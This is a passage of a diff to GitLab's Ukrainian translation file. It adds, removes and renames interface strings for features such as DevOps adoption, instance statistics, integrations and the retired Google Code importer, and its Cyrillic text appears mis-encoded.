-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8789,9 +9037,6 @@ msgstr "Ліміт проєктів за замовчуваннÑм"
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr "За замовчуваннÑм: безпоÑередньо імпортувати адреÑу електронної пошти або ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача Google Code"
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr "По замовчуванню: викориÑтовувати ідентифікатор облікового запиÑу FogBugz Ñк повне ім'Ñ"
@@ -8816,8 +9061,8 @@ msgstr "ВизначеннÑ"
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "Ви впевнені, що ви хочете запуÑтити %{jobName} відразу? Ð’ іншому випадку це Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÑƒÐ´Ðµ виконано автоматично по завершенню таймера."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "Ви впевнені, що ви хочете запуÑтити %{job_name} відразу? Це Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÑƒÐ´Ðµ виконано автоматично по завершенню таймера."
@@ -8900,9 +9145,6 @@ msgstr "Видалити ÑпиÑок кориÑтувачів"
msgid "Delete variable"
msgstr "Видалити змінну"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "Помилка при видаленні репозиторію проєкту. Будь лаÑка, Ñпробуйте знову, або зв'ÑжітьÑÑ Ñ–Ð· адмініÑтратором."
@@ -9320,6 +9562,9 @@ msgstr "невдало"
msgid "Deployment|running"
msgstr "виконуєтьÑÑ"
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr "уÑпішно"
@@ -9338,6 +9583,9 @@ msgstr "Опишіть вимогу тут"
msgid "Description"
msgstr "ОпиÑ"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr "ÐžÐ¿Ð¸Ñ Ð¾Ð±Ñ€Ð¾Ð±Ð»ÐµÐ½Ð¾ за допомогою %{link_start}GitLab Flavored Markdown%{link_end}"
@@ -9374,6 +9622,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "Ð”Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð´Ð¸Ð·Ð°Ð¹Ð½Ñƒ із тим же ім’Ñм файлу замінює цей файл новою верÑією."
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9431,6 +9682,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr "Відхилити коментар"
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9509,15 +9763,9 @@ msgstr "Деталі (за замовчуваннÑм)"
msgid "Detect host keys"
msgstr "ВиÑÐ²Ð»ÐµÐ½Ð½Ñ ÐºÐ»ÑŽÑ‡Ñ–Ð² хоÑта"
-msgid "DevOps"
-msgstr "DevOps"
-
msgid "DevOps Report"
msgstr "Звіт DevOps"
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9527,15 +9775,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ð¾Ñ€Ñ–Ð²Ð½ÑÐ½Ð½Ñ Ð·Ð¼Ñ–Ñту"
@@ -9726,9 +10043,6 @@ msgstr "Показати джерело"
msgid "Do not display offers from third parties within GitLab"
msgstr "Ðе відображати пропозиції від третіх Ñторін у GitLab"
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr "Ви хочете налаштувати, Ñк адреÑи електронної пошти та імена кориÑтувачів будуть імпортовані з Google Code в GitLab?"
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9801,9 +10115,6 @@ msgstr "Завантажити артефакти"
msgid "Download as"
msgstr "Завантажити Ñк"
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr "Завантажити коди"
@@ -9852,9 +10163,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9960,6 +10277,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "Редагувати задачі"
@@ -10035,6 +10355,9 @@ msgstr ""
msgid "Email Notification"
msgstr "Ð¡Ð¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾ÑŽ поштою"
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10065,6 +10388,9 @@ msgstr "ÐадіÑлати ÑÑ‚Ð°Ñ‚ÑƒÑ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ð° по електронн
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr "Схоже, що Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ð¾Ñ€Ð¾Ð¶Ð½Ñ”. ПереконайтеÑÑ, що ваша відповідь знаходитьÑÑ Ð½Ð° початку повідомленнÑ, ми не можемо оброблÑти відповіді, що знаходÑÑ‚ÑŒÑÑ Ð² Ñередині та в кінці."
@@ -10137,7 +10463,7 @@ msgstr "Порожній файл"
msgid "Enable"
msgstr "Увімкнути"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10155,6 +10481,9 @@ msgstr "Увімкнути HTML лиÑти"
msgid "Enable Incident Management inbound alert limit"
msgstr "Увімкнути ліміти попереджень Ð´Ð»Ñ Ð£Ð¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ñ–Ð½Ñ†Ð¸Ð´ÐµÐ½Ñ‚Ð°Ð¼Ð¸"
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "Увімкнути PlantUML"
@@ -10506,6 +10835,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr "Видалити"
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr "Видалити Ñередовище"
@@ -10617,6 +10949,9 @@ msgstr "Зупинити Ñередовище"
msgid "Environments|Stopping"
msgstr "Зупинка"
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð»Ð¾Ð³Ñ–Ð². Будь лаÑка, Ñпробуйте ще раз."
@@ -10854,9 +11189,6 @@ msgstr "Помилка при завантаженні шаблону."
msgid "Error loading viewer"
msgstr "Помилка при завантаженні переглÑдача"
-msgid "Error message:"
-msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ помилку:"
-
msgid "Error occurred when fetching sidebar data"
msgstr "Помилка при отриманні даних Ð´Ð»Ñ Ð±Ñ–Ñ‡Ð½Ð¾Ñ— панелі"
@@ -10893,6 +11225,9 @@ msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. КориÑтувач не був розб
msgid "Error occurred. User was not unlocked"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. КориÑтувач не був розблокований"
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr "Помилка при попередньому переглÑді markdown"
@@ -10971,6 +11306,9 @@ msgstr "Ð”Ð»Ñ Ð¼Ð¾Ð¶Ð»Ð¸Ð²Ð¾ÑÑ‚Ñ– вибору проєктів введіть
msgid "Errors"
msgstr "Помилки"
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr "Помилки:"
@@ -11205,6 +11543,9 @@ msgstr "ЕкÑпорт"
msgid "Export as CSV"
msgstr "ЕкÑпортувати Ñк CSV"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr "ЕкÑпортувати групу"
@@ -11313,6 +11654,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr "Ðе вдалоÑÑ Ñтворити гілку Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— задачі. Будь лаÑка, Ñпробуйте знову."
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11448,6 +11792,9 @@ msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ ключ кориÑтувача."
msgid "Failed to reset key. Please try again."
msgstr "Ðе вдалоÑÑ Ñкинути ключ. Будь лаÑка, Ñпробуйте знову."
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr "Ðе вдалоÑÑ Ð·Ð±ÐµÑ€ÐµÐ³Ñ‚Ð¸ Ð²Ð¸Ñ€Ñ–ÑˆÐµÐ½Ð½Ñ ÐºÐ¾Ð½Ñ„Ð»Ñ–ÐºÑ‚Ñ–Ð² злиттÑ. Будь лаÑка, Ñпробуйте знову!"
@@ -11487,6 +11834,9 @@ msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ задачі. Будь лаÑка, Ñ
msgid "Failed to update tag!"
msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ тег!"
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸."
@@ -11526,12 +11876,18 @@ msgstr "Фавікон був уÑпішно видалений."
msgid "Feature Flags"
msgstr "Перемикачі функцій"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr "Перемикач функцій не був видалений."
msgid "Feature flag was successfully removed."
msgstr "Перемикач функції уÑпішно видалено."
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11701,6 +12057,9 @@ msgstr "Ðовий перемикач функції"
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11725,9 +12084,6 @@ msgstr "Процент розгортаннÑ"
msgid "FeatureFlags|Rollout Strategy"
msgstr "Ð¡Ñ‚Ñ€Ð°Ñ‚ÐµÐ³Ñ–Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ"
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11788,6 +12144,9 @@ msgstr "лют."
msgid "February"
msgstr "лютий"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr "ÐžÑ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð²Ñ…Ñ–Ð´Ð½Ð¸Ñ… повідомлень електронної пошти"
@@ -11830,7 +12189,7 @@ msgstr "Ім'Ñ Ñ„Ð°Ð¹Ð»Ñƒ"
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11956,12 +12315,6 @@ msgstr "Знайти Ñ–Ñнуючих учаÑників за ім'Ñм"
msgid "Find file"
msgstr "Знайти файл"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr "Знайдіть завантажений ZIP-файл і розпакуйте його."
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr "Відбиток"
@@ -11986,9 +12339,6 @@ msgstr "Перший день тижнÑ"
msgid "First name"
msgstr "Ім'Ñ"
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr "Перший раз знайдено"
@@ -12034,9 +12384,6 @@ msgstr "Імпорт з FogBugz"
msgid "Folder/%{name}"
msgstr "Папка/%{name}"
-msgid "Follow the steps below to export your Google Code project data."
-msgstr "Виконайте наведені нижче кроки, щоб екÑпортувати дані проєкту з Google Code."
-
msgid "Font Color"
msgstr "Колір шрифту"
@@ -12121,6 +12468,9 @@ msgstr "Знайдено помилки у вашому %{gitlab_ci_yml}:"
msgid "Found errors in your .gitlab-ci.yml:"
msgstr "Знайдено помилки у вашому .gitlab-ci.yml:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr "Безкоштовний випробувальний період"
@@ -12148,9 +12498,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr "З %{providerTitle}"
-msgid "From Google Code"
-msgstr "З Google Code"
-
msgid "From issue creation until deploy to production"
msgstr "З моменту ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– до Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð½Ð° production"
@@ -12637,6 +12984,9 @@ msgstr "GitLab / СкаÑувати підпиÑку"
msgid "GitLab API"
msgstr "GitLab API"
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12670,6 +13020,9 @@ msgstr "GitLab КориÑтувач"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLab коміт"
@@ -12880,15 +13233,12 @@ msgstr "ПовернутиÑÑ"
msgid "Go back (while searching for files)"
msgstr "Перейти назад (продовжуючи пошук файлів)"
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
-msgstr "ПовернутиÑÑ Ð´Ð¾ %{startTag}Відкритих задач%{endTag} та вибрати деÑкі з них Ð´Ð»Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð½Ð° вашу дошку."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
+msgstr ""
msgid "Go full screen"
msgstr "Ðа повний екран"
-msgid "Go to %{link_to_google_takeout}."
-msgstr "Перейти до %{link_to_google_takeout}."
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13003,12 +13353,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr "Google Cloud Platform"
-msgid "Google Code import"
-msgstr "Імпорт з Google Code"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "ÐÐ²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ Google не %{link_start}налаштована належним чином%{link_end}. ЗвернітьÑÑ Ð´Ð¾ вашого адмініÑтратора GitLab Ñкщо хочете викориÑтовувати цю Ñлужбу. "
@@ -13243,6 +13587,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr "Проблема при завантаженні епіків"
@@ -13636,12 +13986,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "Ви впевнені, що хочете залишити групу \"%{fullName}\"?"
-msgid "GroupsTree|Create a project in this group."
-msgstr "Створити проєкт у групі."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "Створити підгрупи у цій групі."
-
msgid "GroupsTree|Edit group"
msgstr "Редагувати групу"
@@ -13717,6 +14061,9 @@ msgstr "Проблем із здоров'Ñм не виÑвлено"
msgid "HealthCheck|Unhealthy"
msgstr "Ðездоровий"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr "Привіт"
@@ -13872,9 +14219,6 @@ msgstr "Ðа Ñкільки Ñегментів розподілити індек
msgid "How many users will be evaluating the trial?"
msgstr "Скільки кориÑтувачів будуть приймати учаÑÑ‚ÑŒ у випробувальному періоді?"
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "Проте ви вже Ñ” учаÑником цього %{member_source}. Увійдіть, викориÑтовуючи інший обліковий запиÑ, щоб прийнÑти запрошеннÑ."
@@ -14016,6 +14360,9 @@ msgstr "Якщо це була помилка, ви можете залишитÐ
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr "При викориÑтанні GitHub, ви побачите ÑтатуÑи конвеєрів Ð´Ð»Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñ–Ð² Ñ– запитів на злиттÑ. %{more_info_link}"
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14096,12 +14443,6 @@ msgstr "Імпортувати CSV"
msgid "Import Projects from Gitea"
msgstr "Імпортувати проєкти з Gitea"
-msgid "Import all compatible projects"
-msgstr "Імпорт вÑÑ–Ñ… ÑуміÑних проєктів"
-
-msgid "Import all projects"
-msgstr "Імпортувати вÑÑ– проєкти"
-
msgid "Import an exported GitLab project"
msgstr "Імпортувати екÑпортований проєкт GitLab"
@@ -14153,9 +14494,6 @@ msgstr "Імпортувати проєкти з FogBugz"
msgid "Import projects from GitLab.com"
msgstr "Імпортувати проєкти з GitLab.com"
-msgid "Import projects from Google Code"
-msgstr "Імпортувати проєкти з Google Code"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Імпортувати репозиторії з Bitbucket Server"
@@ -14186,6 +14524,9 @@ msgstr "Імпорт/екÑпорт ілюÑтрацій"
msgid "ImportButtons|Connect repositories from"
msgstr "Підключити репозиторії із"
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "Заблокований URL Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ: %{message}"
@@ -14219,6 +14560,9 @@ msgstr "Репозиторій не може бути Ñтворено."
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr "Помилка Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ð¾Ð²Ð°Ð½Ð¸Ñ… проєктів із змінами в реальному чаÑÑ–"
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14249,9 +14593,6 @@ msgstr ""
msgid "In progress"
msgstr "Ð’ процеÑÑ–"
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr "Ðа наÑтупному кроці ви зможете вибрати проєкти, Ñкі хочете імпортувати."
-
msgid "Incident"
msgstr "Інцидент"
@@ -14429,9 +14770,6 @@ msgstr "Вхідна пошта"
msgid "Incoming!"
msgstr "Вхідні!"
-msgid "Incompatible Project"
-msgstr "ÐеÑуміÑний проєкт"
-
msgid "Incompatible options set!"
msgstr "Ð’Ñтановлено неÑуміÑні параметри!"
@@ -14516,9 +14854,6 @@ msgstr "Ð’Ñтановити GitLab Runner"
msgid "Install Runner on Kubernetes"
msgstr "Ð’Ñтановити Runner на Kubernetes"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr "Ð’Ñтановіть програмний автентифікатор, наприклад %{free_otp_link} або Google Authenticator зі Ñвого репозиторію заÑтоÑунків Ñ– викориÑтовуйте його Ð´Ð»Ñ ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ QR-коду. Більш детальна Ñ–Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð´Ð¾Ñтупна в %{help_link_start}документації%{help_link_end}."
@@ -14544,74 +14879,80 @@ msgstr[3] "ІнÑтанÑів"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
-msgstr ""
-
msgid "Instance administrators group already exists"
msgstr "Група Ð´Ð»Ñ Ð°Ð´Ð¼Ñ–Ð½Ñ–Ñтраторів інÑтанÑу вже Ñ–Ñнує"
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines"
+msgstr "Конвеєри"
+
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
+msgstr "Проєкти"
+
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
-msgstr "Конвеєри"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
-msgid "InstanceStatistics|Projects"
-msgstr "Проєкти"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
+msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
msgstr ""
@@ -14649,6 +14990,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr "Ð’ÑÑ– деталі"
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14682,7 +15026,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14700,6 +15053,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14721,6 +15077,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "Зацікавлені Ñторони за бажаннÑм можуть навіть робити внеÑки шлÑхом Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñ–Ð²."
@@ -14796,6 +15155,9 @@ msgstr ""
msgid "Invalid file."
msgstr "Ðеправильний файл."
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr "Ðеправильні параметри імпорту"
@@ -14838,6 +15200,9 @@ msgstr "ÐедійÑний двофакторний код підтверджеÐ
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr "ЗапрошеннÑ"
@@ -14862,6 +15227,9 @@ msgstr "ЗапроÑити групу"
msgid "Invite member"
msgstr "ЗапроÑити учаÑника"
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14907,6 +15275,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14916,16 +15287,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
